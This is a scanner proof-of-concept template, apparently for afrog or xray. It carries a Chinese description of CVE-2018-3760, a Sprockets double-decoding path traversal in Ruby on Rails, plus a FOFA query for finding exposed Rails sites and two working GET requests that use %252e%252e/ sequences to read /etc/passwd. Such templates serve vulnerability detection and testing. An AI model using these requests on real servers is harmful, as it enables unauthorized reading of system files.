漏洞描述
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
fofa: title="Ruby On Rails"
id: CVE-2018-3760
info:
name: Ruby On Rails Path Traversal
author: leezp
severity: high
description: |-
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
fofa: title="Ruby On Rails"
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-3760
- https://www.tenable.com/security/tns-2018-03
tags: cve,cve2018,lfi,rails,sprockets
created: 2023/08/10
rules:
r0:
request:
method: GET
path: /assets/file:%2f%2f/etc/passwd
expression: response.status == 500 && response.body.bcontains(b"FileOutsidePaths")
output:
search: '"/etc/passwd is no longer under a load path: (?P<path>.*?),".bsubmatch(response.body)'
path: search["path"]
r1:
request:
method: GET
path: /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() && r1()